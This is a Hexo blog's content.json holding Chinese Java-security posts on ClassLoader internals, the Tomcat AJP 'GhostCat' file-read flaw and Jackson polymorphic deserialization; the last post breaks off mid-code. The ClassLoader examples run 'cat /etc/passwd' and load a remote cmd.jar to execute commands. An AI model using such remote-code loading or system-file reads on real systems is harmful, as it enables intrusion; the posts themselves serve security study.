-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 340 KB
/
content.json
File metadata and controls
1 lines (1 loc) · 340 KB
1
{"meta":{"title":"Patrilic's blog","subtitle":"不忘初心","description":null,"author":"Patrilic","url":"http://patrilic.top","root":"/"},"pages":[],"posts":[{"title":"Tomorrow","slug":"Tomorrow","date":"2099-12-30T16:00:00.000Z","updated":"2020-03-24T12:36:02.090Z","comments":true,"path":"2099/12/31/Tomorrow/","link":"","permalink":"http://patrilic.top/2099/12/31/Tomorrow/","excerpt":"","text":"这里有一个秘密engine12➜ ~ cat /Users/patrilic/Desktop/Secret.logcat: /Users/patrilic/Desktop/Secret.log: Permission denied","categories":[{"name":"Diary","slug":"Diary","permalink":"http://patrilic.top/categories/Diary/"}],"tags":[]},{"title":"Java ClassLoader","slug":"Java ClassLoader","date":"2020-04-06T15:17:44.000Z","updated":"2020-04-06T15:18:01.426Z","comments":true,"path":"2020/04/06/Java ClassLoader/","link":"","permalink":"http://patrilic.top/2020/04/06/Java ClassLoader/","excerpt":"","text":"@Author: Patrilic@Time: 2020-4-06 23:17:44 0x00 前言ClassLoader 顾名思义就是类的加载器,用来动态加载JavaClass到JVM中 简单来说,我们编写的.java文件经过javac编译后转换成java字节代码(.class)文件,而类加载器通过读取这个.class文件,转换成java.lang.Class的一个实例,用实例来表示一个java类。然后通过实例的newInstance()方法可以创建出该类的对象。 0x01 JVM运行机制关于Java虚拟机这篇文章的学习,可以参考这篇文章:https://www.artima.com/insidejvm/ed2/jvm.html JVM的生命周期JVM在Java程序开始执行时运行,结束时停止。每一个Java程序都拥有一个单独的JVM进程。 Java应用启动时,生成一个Runtime实例,当程序完成后,该实例死亡。 如果同时启动多个Java应用,那么就会产生同样数量的Runtime实例,互不干扰。 而拥有main函数的class将作为进程的起点 main函数作为初始线程起点,可以控制其他任意线程。JVM中的线程分为守护线程和非守护线程 JVM架构 类加载子系统从上面的图可以看到,Class文件必须要经过class loader subsystem才能进入到runtime实例中 而这里的类加载子系统也称之为类加载器, 而系统提供的类加载器有以下三个: BootStrap ClassLoader : 加载Java核心库,使用原生代码实现,不继承java.lang.ClassLoader Extension ClassLoader : 加载Java扩展库, 默认加载$JAVA_HOME/jre/lib/*.jar System ClassLoader : 加载Java应用的ClassPath作加载,可通过ClassLoader.getSystemClassLoader()获取,当我们不指定类加载器的情况下,默认使用这个加载器加载类 当然,我们也可以自定义一个ClassLoader,只需要继承java.lang.ClassLoader即可 类的加载过程JVM将类的加载分为三个步骤:Load, Link, Initialize Load - 装载装载的过程就是查找和导入Class文件 负责找到二进制字节码并加载至JVM中,JVM通过类名、类所在的包名、ClassLoader完成类的加载。因此,标识一个被加载了的类:类名 + 包名 + ClassLoader实例ID。 Link - 链接分为验证, 准备, 解析三个步骤 验证 - 确保类的加载的正确性 准备 - 为类的静态变量分配内存,并将其初始化为默认值 解析 - 把类中的符号引用转换为直接引用 Initialize - 初始化初始化,为类的静态变量赋予正确的初始值,JVM负责对类进行初始化,主要对类变量进行初始化。在Java中对类变量进行初始值设定有两种方式: 声明类变量是指定初始值 使用静态代码块为类变量指定初始值 类的初始化触发: 实例化对象的时候 访问类的静态变量 调用类的静态方法 反射(class.forName()) 初始化一个类的子类会先初始化父类 JVM启动时标明的启动类,即文件名和类名相同的那个类 双亲委派模型 简单的理解: 就是一个类需要被加载时,类加载器总会把加载委派给父类去加载,一直递归到顶层,也就是说一直是从Bootstrap ClassLoader开始加载,当父类无法加载时,再从子类进行加载。 双亲委派模型的优点,在加载一些系统类时,比如java.lang.Object, 总会由Bootstrap ClassLoader去%JAVA_HOME%/jre/lib/rt.jar中寻找,保证了使用的Object是正确的,而不会被中间人修改。 线程上下文类加载器关于SPI机制这里就不作赘述了,主要是因为BootStrap ClassLoader必须委托子类去加载提供的服务,例如JDBC的接口 而线程上下文类加载器就可以解决这个问题,具体方法提供在java.lang.Thread getContextClassLoader()和 setContextClassLoader(ClassLoader cl)用来获取和设置线程的上下文类加载器, 如果没有对线程上下文加载器进行set操作,会自动继承父类的线程上下文加载器 0x02 ClassLoader首先,Java类加载分为显式和隐式, 显式加载就是利用Java反射和ClassLoader直接对类进行加载,例如:12345Class.forName(\"com.patrilic.ClassLoader.Test\"); // 默认初始化类方法this.getClass().getClassLoader().loadClass(\"com.patrilic.ClassLoader.Test\"); // 不初始化类方法 而隐式加载就是调用Class.Method, 或者new一个新的实例时,也会对类进行加载 ClassLoader提供的一些与类加载相关的方法 方法 说明 getParent() 返回该类加载器的父类加载器。 loadClass(String name) 加载名称为 name的类,返回的结果是 java.lang.Class类的实例。 findClass(String name) 查找名称为 name的类,返回的结果是 java.lang.Class类的实例。 findLoadedClass(String name) 查找名称为 name的已经被加载过的类,返回的结果是 java.lang.Class类的实例。 defineClass(String name, byte[] b, int off, int len) 把字节数组 b中的内容转换成 Java 类,返回的结果是 java.lang.Class类的实例。这个方法被声明为 final的。 resolveClass(Class<?> c) 链接指定的 Java 类。 自定义ClassLoader加载ByteCode12345678910111213141516171819//Test.javapackage com.patrilic.classLoader;import java.util.*;import java.io.*;import java.net.*;public class Test { public void RunShell() throws IOException { Process p = Runtime.getRuntime().exec(\"cat /etc/passwd\"); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { System.out.println(disr); disr = dis.readLine(); } }} 12345678910111213141516171819202122232425262728293031323334353637383940414243// ClassLoaderTest.javapackage com.patrilic.ClassLoader;import java.lang.reflect.Method;public class ClassLoaderTest extends ClassLoader { private static String testClassName = \"com.patrilic.classLoader.Test\"; byte[] code = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 70, 10, 0, 13, 0, 30, 10, 0, 31, 0, 32, 8, 0, 33, 10, 0, 31, 0, 34, 10, 0, 35, 0, 36, 10, 0, 35, 0, 37, 7, 0, 38, 10, 0, 7, 0, 39, 10, 0, 7, 0, 40, 9, 0, 41, 0, 42, 10, 0, 43, 0, 44, 7, 0, 45, 7, 0, 46, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 8, 82, 117, 110, 83, 104, 101, 108, 108, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 45, 7, 0, 47, 7, 0, 48, 7, 0, 49, 7, 0, 38, 7, 0, 50, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 51, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 84, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 14, 0, 15, 7, 0, 52, 12, 0, 53, 0, 54, 1, 0, 15, 99, 97, 116, 32, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100, 12, 0, 55, 0, 56, 7, 0, 47, 12, 0, 57, 0, 58, 12, 0, 59, 0, 60, 1, 0, 23, 106, 97, 118, 97, 47, 105, 111, 47, 68, 97, 116, 97, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 12, 0, 14, 0, 61, 12, 0, 62, 0, 63, 7, 0, 64, 12, 0, 65, 0, 66, 7, 0, 67, 12, 0, 68, 0, 69, 1, 0, 29, 99, 111, 109, 47, 112, 97, 116, 114, 105, 108, 105, 99, 47, 99, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 84, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 15, 103, 101, 116, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 24, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 12, 0, 13, 0, 0, 0, 0, 0, 2, 0, 1, 0, 14, 0, 15, 0, 1, 0, 16, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 17, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 1, 0, 18, 0, 15, 0, 2, 0, 16, 0, 0, 0, -110, 0, 3, 0, 6, 0, 0, 0, 60, -72, 0, 2, 18, 3, -74, 0, 4, 76, 43, -74, 0, 5, 77, 43, -74, 0, 6, 78, -69, 0, 7, 89, 45, -73, 0, 8, 58, 4, 25, 4, -74, 0, 9, 58, 5, 25, 5, -58, 0, 21, -78, 0, 10, 25, 5, -74, 0, 11, 25, 4, -74, 0, 9, 58, 5, -89, -1, -20, -79, 0, 0, 0, 2, 0, 17, 0, 0, 0, 34, 0, 8, 0, 0, 0, 8, 0, 9, 0, 9, 0, 14, 0, 10, 0, 19, 0, 11, 0, 29, 0, 12, 0, 36, 0, 13, 0, 41, 0, 14, 0, 59, 0, 16, 0, 19, 0, 0, 0, 28, 0, 2, -1, 0, 36, 0, 6, 7, 0, 20, 7, 0, 21, 7, 0, 22, 7, 0, 23, 7, 0, 24, 7, 0, 25, 0, 0, 22, 0, 26, 0, 0, 0, 4, 0, 1, 0, 27, 0, 1, 0, 28, 0, 0, 0, 2, 0, 29}; @Override public Class<?> findClass(String name) throws ClassNotFoundException { if (name.equals(testClassName)) { // defineClass 将byteCode转换成类, 赋给testClassName return defineClass(testClassName, code, 0, code.length); } return super.findClass(name); } public static void main(String[] args) { // 实例化ClassLoader ClassLoaderTest loader = new ClassLoaderTest(); try { // 加载testClassName Class testClass = loader.loadClass(testClassName); // 创建testClassName类的实例 Object testInstance = testClass.newInstance(); // 反射获取RunShell方法 Method method = testInstance.getClass().getMethod(\"RunShell\"); // 反射调用RunShell方法 String result = (String) method.invoke(testInstance); System.out.println(result); } catch (Exception e) { e.printStackTrace(); } }} URLClassLoader 直接看园长的代码,URLClassLoader提供远程加载jar的能力12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849package com.patrilic.test;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.net.URL;import java.net.URLClassLoader;/** * Creator: yz * Date: 2019/12/18 */public class TestURLClassLoader { public static void main(String[] args) { try { // 定义远程加载的jar路径 URL url = new URL(\"https://javaweb.org/tools/cmd.jar\"); // 创建URLClassLoader对象,并加载远程jar包 URLClassLoader ucl = new URLClassLoader(new URL[]{url}); // 定义需要执行的系统命令 String cmd = \"cat /etc/passwd\"; // 通过URLClassLoader加载远程jar包中的CMD类 Class cmdClass = ucl.loadClass(\"CMD\"); // 调用CMD类中的exec方法,等价于: Process process = CMD.exec(\"whoami\"); Process process = (Process) cmdClass.getMethod(\"exec\", String.class).invoke(null, cmd); // 获取命令执行结果的输入流 InputStream in = process.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1; // 读取命令执行结果 while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } // 输出命令执行结果 System.out.println(baos.toString()); } catch (Exception e) { e.printStackTrace(); } }} 0x03 相关链接https://javasec.org/javase/ClassLoader/https://juejin.im/post/5cd02252f265da0393787d46https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.htmlhttps://juejin.im/post/5d1efae26fb9a07ea6489355#heading-6https://www.artima.com/insidejvm/ed2/jvm4.htmlhttps://blog.csdn.net/csdn_ds/article/details/79106006https://blog.csdn.net/justloveyou_/article/details/72231425","categories":[{"name":"Java_Sec","slug":"Java-Sec","permalink":"http://patrilic.top/categories/Java-Sec/"}],"tags":[{"name":"ClassLoader","slug":"ClassLoader","permalink":"http://patrilic.top/tags/ClassLoader/"}]},{"title":"Tomcat-Ajp协议漏洞分析(CVE-2020-1938)","slug":"Tomcat-Ajp协议漏洞分析(CVE-2020-1938)","date":"2020-03-25T11:16:24.000Z","updated":"2020-03-25T11:18:49.291Z","comments":true,"path":"2020/03/25/Tomcat-Ajp协议漏洞分析(CVE-2020-1938)/","link":"","permalink":"http://patrilic.top/2020/03/25/Tomcat-Ajp协议漏洞分析(CVE-2020-1938)/","excerpt":"","text":"@Author: Patrilic@Time: 2020-3-25 19:16:24 0x00 前言CVE-2020-1938 又名GhostCat, 之前引起了一场风雨,由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。 0x01 BuildMac下的MxSrvs预装了Tomcat 8.5.16版本,可以直接使用 开放了8005|8009|8080端口 在/Applications/MxSrvs/bin/tomcat/bin/catalina.sh第一行export一个变量1export JPDA_ADDRESS=9001 然后将/Applications/MxSrvs/bin/tomcat/bin/startup.sh最后一行修改为1exec "$PRGDIR"/"$EXECUTABLE" jpda start "$@" 可以看到已经开启了9001端口 然后我们导入Tomcat源码包:直接用maven,一步到位12345678910111213141516171819202122232425262728293031323334<?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"> <modelVersion>4.0.0</modelVersion> <groupId>Tomcat</groupId> <artifactId>tomcat-coyote</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-coyote --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-coyote</artifactId> <version>8.5.16</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.16</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>8.5.16</version> </dependency> </dependencies></project> 设置一个Remote Debug的配置 0x02 Poc利用 https://github.com/threedr3am/learnjavabug 文件读取 文件包含 0X03 Tomcat AJP Connector在具体分析漏洞之前,先来了解一下Tomcat-Ajp是个什么东西 在tomcat目录的/conf/server.xml下配置了Connector 在默认情况下,会开启8080 HTTP协议端口和8009 Ajp协议端口 简单来说,Tomcat提供Servlet容器,与其他静态资源HTTP服务器(IIS,Nginx等)集成,Tomcat和其他HTTP服务器之间需要通过专门的插件来通信,这就是Connector存在的意义 0x04 漏洞分析DefaultServlet 实现任意文件读取tomcat在处理AJP请求的时候,主要是通过/tomcat-coyote-8.5.16.jar!/org/apache/coyote/ajp/AjpProcessor.class#prepareRequest() 所以我们在AjpProcessor.class的第232行处打断点,开启Debug 利用poc发送请求 前面通过一系列getXXX()方法,收集请求的协议,uri,ip,host,MIME等信息 然后通过一个switch()语句, 到request.setAttribute()方法,设置了request的三个属性 123javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path 进入this.getAdapter().service(this.request, this.response); /org/apache/catalina/connector/CoyoteAdapter.class:330反射处理了request,response org/apache/catalina/servlets/DefaultServlet.class:service() -> doGet() -> serveResource() 调用getRelativePath()获取相对路径 往下走经过一个else判断,进入this.resources.getResource(path) 跟到/org/apache/tomcat/util/http/RequestUtil.class#normalize函数的时候,发现对穿越字符进行了过滤 所以不能逃脱webapp目录 之后利用File类进行文件读取,并经过一系列检查 部分调用栈 jspservlet 文件包含调用方式和上面的大体相同,直到service()函数 调用了org/apache/jasper/servlet/JspServlet.class#service 拼接后,直接到serviceJspFile方法 部分调用栈 0x05 相关链接https://www.chaitin.cn/zh/ghostcathttps://tomcat.apache.org/connectors-doc/ajp/ajpv13a.htmlhttps://www.anquanke.com/post/id/199448https://github.com/threedr3am/learnjavabug/tree/master/tomcat/ajp-bughttps://my.oschina.net/czg/blog/142616https://www.linuxprobe.com/tomcat-http-ajp.htmlhttps://zhzhdoai.github.io/2020/02/26/Tomcat-Ajp%E5%8D%8F%E8%AE%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%88%A9%E7%94%A8-CVE-2020-1938/","categories":[{"name":"Java_Sec","slug":"Java-Sec","permalink":"http://patrilic.top/categories/Java-Sec/"}],"tags":[{"name":"Ghost_cat","slug":"Ghost-cat","permalink":"http://patrilic.top/tags/Ghost-cat/"}]},{"title":"Jackson-databind 反序列化漏洞分析 (CVE-2020-8840)","slug":"Jackson-databind 反序列化漏洞分析 (CVE-2020-8840)","date":"2020-03-24T12:13:43.000Z","updated":"2020-03-24T12:26:03.229Z","comments":true,"path":"2020/03/24/Jackson-databind 反序列化漏洞分析 (CVE-2020-8840)/","link":"","permalink":"http://patrilic.top/2020/03/24/Jackson-databind 反序列化漏洞分析 (CVE-2020-8840)/","excerpt":"","text":"@Author: Patrilic@Time: 2020-3-24 20:13:43 0x00 前言Jackson是一款当下流行的json解释器,主要负责处理Json的序列化和反序列化。jackson核心模块由三部分构成: jackson-core - 核心包,提供基于流模式API jackson-annotations - 注解包,提供标准注解功能 jackson-databind - 数据绑定包, 提供基于”对象绑定” 解析的相关 API ( ObjectMapper ) 和”树模型” 解析的相关 API 这里我们先Build一个2.9.9版本的jackson-databind, 因为jackson-databind依赖于core和annotations,所以这两个包也会自动下载。 0x01 BuildJDK Version : 7u80 pom.xml:1234567891011121314151617181920212223242526<?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"> <modelVersion>4.0.0</modelVersion> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind --> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.9</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.xbean/xbean-reflect --> <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-reflect</artifactId> <version>4.16</version> </dependency> </dependencies></project> 0x02 Jackson的基本用法Jackson的主要职责就是序列化和反序列化 序列化123456789101112131415161718192021package com.patrilic.jackson;import java.io.IOException;import com.fasterxml.jackson.databind.ObjectMapper;public class serialize { public static void main(String[] args) { Student a = new Student(); a.setName(\"Patrilic\"); a.setAge(20); a.setSex(\"male\"); ObjectMapper mapper = new ObjectMapper(); try { String json = mapper.writeValueAsString(a); System.out.println(\"序列化前: \" + a); System.out.println(\"序列化后: \" + json); } catch (IOException e) { e.printStackTrace(); } }} 反序列化1234567891011121314package com.patrilic.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class unserialize { public static void main(String[] args) { String json = \"{\\\"name\\\":\\\"Patrilic\\\",\\\"age\\\":20,\\\"sex\\\":\\\"male\\\"}\"; ObjectMapper mapper = new ObjectMapper(); try { System.out.println(\"反序列化后: \" + mapper.readValue(json, Student.class)); } catch (IOException e) { e.printStackTrace(); } }} 0x03 PolymorphicDeserializationhttps://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization 在Jaskson的Wiki中可以看到,Jaskson有一种特殊的机制,叫做JacksonPolymorphicDeserialization(Jackson的多态反序列化?) 在wiki中分为两类: Global default typing Per-class annotations DefaultTyping我们唯一可以配置的值就是选择哪些类可以被影响 在com/fasterxml/jackson/databind/ObjectMapper.class:1824行配置了四个选项 JAVA_LANG_OBJECT:仅影响Object.class类型的属性 OBJECT_AND_NON_CONCRETE:影响Object.class和所有非具体类型(抽象类,接口) NON_CONCRETE_AND_ARRAYS:与上面相同,并且所有数组类型都相同(直接元素是非具体类型或Object.class) NON_FINAL:影响所有未声明为 “final”的类型,以及非final元素类型的数组类型。 接下来细细来试试这几个配置的具体细节 JAVA_LANG_OBJECT当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类) 1234567891011121314151617181920212223242526272829303132333435363738394041package com.patrilic.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject { public static void main(String[] args) throws IOException { People Q = new People(); Q.age = 20; Q.name = \"com.patrilic.jackson.patrilic\"; Q.object = new patrilic(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT); // 序列化 String json = mapper.writeValueAsString(Q); System.out.print(json); // {\"age\":20,\"name\":\"com.patrilic.jackson.patrilic\",\"object\":[\"com.patrilic.jackson.patrilic\",{\"length\":100}]} System.out.println(\"\\n\"); // 反序列化 People Q2 = mapper.readValue(json, People.class); System.out.println(Q2); // age = 20, name = com.patrilic.jackson.patrilic, object = com.patrilic.jackson.patrilic@75215398 }}class People { public int age; public String name; public Object object; @Override public String toString() { return String.format(\"age = %d, name = %s, object = %s\", age, name, object == null ? \"null\" : object); }}class patrilic { public int length = 100;} 类也会同时进行序列化和反序列化 OBJECT_AND_NON_CONCRETE除了普通的Object, 当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象) 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960package com.patrilic.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject { public static void main(String[] args) throws IOException { People Q = new People(); Q.age = 20; Q.name = \"com.patrilic.jackson.patrilic\"; Q.object = new patrilic(); Q.sex = new MySex(); Q.sex.setSex(\"male\"); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); // 序列化 String json = mapper.writeValueAsString(Q); System.out.print(json); System.out.println(\"\\n\"); // 反序列化 People Q2 = mapper.readValue(json, People.class); System.out.println(Q2); }}class People { public int age; public String name; public Object object; public Sex sex; @Override public String toString() { return String.format(\"age = %d, name = %s, object = %s, sex = %s\", age, name, object == null ? \"null\" : object, sex); }}class patrilic { public int length = 100;}class MySex implements Sex { String sex; public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; }}interface Sex { public void setSex(String sex); public String getSex();} 如果我们这里不设置OBJECT_AND_NON_CONCRETE,那么将会不能进行反序列化 默认无参enableDefaultTyping()即为OBJECT_AND_NON_CONCRETE选项 NON_CONCRETE_AND_ARRAYS意思很明显,在OBJECT_AND_NON_CONCRETE选项之上,再加一个Arrays12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364package com.patrilic.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject { public static void main(String[] args) throws IOException { People Q = new People(); Q.age = 20; Q.name = \"com.patrilic.jackson.patrilic\"; patrilic[] patrilic = new patrilic[2]; patrilic[0] = new patrilic(); patrilic[0].length = 1; patrilic[1] = new patrilic(); Q.object = patrilic; Q.sex = new MySex(); Q.sex.setSex(\"male\"); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS); // 序列化 String json = mapper.writeValueAsString(Q); System.out.print(json); System.out.println(\"\\n\"); // 反序列化 People Q2 = mapper.readValue(json, People.class); System.out.println(Q2); }}class People { public int age; public String name; public Object object; public Sex sex; @Override public String toString() { return String.format(\"age = %d, name = %s, object = %s, sex = %s\", age, name, object == null ? \"null\" : object, sex); }}class patrilic { public int length = 100;}class MySex implements Sex { String sex; public String getSex() { return sex; } public void setSex(String sex) { this.sex = sex; }}interface Sex { public void setSex(String sex); public String getSex();} 这里我们将第一个patrilic的length值设为1以作区分 NON_FINAL顾名思义,除了Final属性之外的所有类都可以被反序列化 这里就不做测试了 Per-class annotations接下来我们来看看Per-class annotations,简单来说,就是利用注解@JsonTypeInfo去标识,然后控制它的 @JsonTypeInfo一共支持五种注解: JsonTypeInfo 结构 反序列化 @JsonTypeInfo(use = JsonTypeInfo.Id.NONE) {“name”:”JsonTypeInfo”,”age”:100,”obj”:{“h”:100}} yes @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) {“name”:”JsonTypeInfo”,”age”:100,”obj”:{“@class”:”com.patrilic.jackson.Height”,”h”:100}} yes @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) {“name”:”JsonTypeInfo”,”age”:100,”obj”:{“@c”:”com.patrilic.jackson.Height”,”h”:100}} yes @JsonTypeInfo(use = JsonTypeInfo.Id.NAME) {“name”:”JsonTypeInfo”,”age”:100,”obj”:{“@type”:”Height”,”h”:100}} no @JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM) 需要自定义解析器 通过具体代码测试:1234567891011121314151617181920212223242526272829303132333435363738394041package com.patrilic.jackson;import com.fasterxml.jackson.annotation.JsonTypeInfo;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Jsontypeinfo { public static void main(String[] args) throws IOException { ObjectMapper mapper= new ObjectMapper(); User user = new User(); user.name= \"JsonTypeInfo\"; user.age=100; user.obj=new Height(); // 序列化 String json = mapper.writeValueAsString(user); System.out.println(json); // 反序列化 User user1 = mapper.readValue(json, User.class); System.out.println(user1); }}class User{ public String name; public int age; @JsonTypeInfo(use = JsonTypeInfo.Id.NONE)// @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)// @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)// @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)// @JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM) public Object obj; public String toString(){ return String.format(\"name = %s, age = %d, obj = %s\", name, age, obj) ; }}class Height{ public int h = 100;} 所以在设置为下面三种方式时,可以触发反序列化: enableDefaultTyping() @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) 0x04 Jackson解析流程测试代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960package com.patrilic.jackson;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class JavaLangObject { public static void main(String[] args) throws IOException { People Q = new People(); Q.age = 20; Q.name = \"com.patrilic.jackson.patrilic\"; Q.object = new patrilic(); Q.sex = new MySex(); Q.sex.setSex(1); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); // 序列化 String json = mapper.writeValueAsString(Q); System.out.print(json); System.out.println(\"\\n\"); // 反序列化 People Q2 = mapper.readValue(json, People.class); System.out.println(Q2); }}class People { public int age; public String name; public Object object; public Sex sex; @Override public String toString() { return String.format(\"age = %d, name = %s, object = %s, sex = %s\", age, name, object == null ? \"null\" : object, sex); }}class patrilic { public int length = 100;}class MySex implements Sex { int sex; public int getSex() { return sex; } public void setSex(int 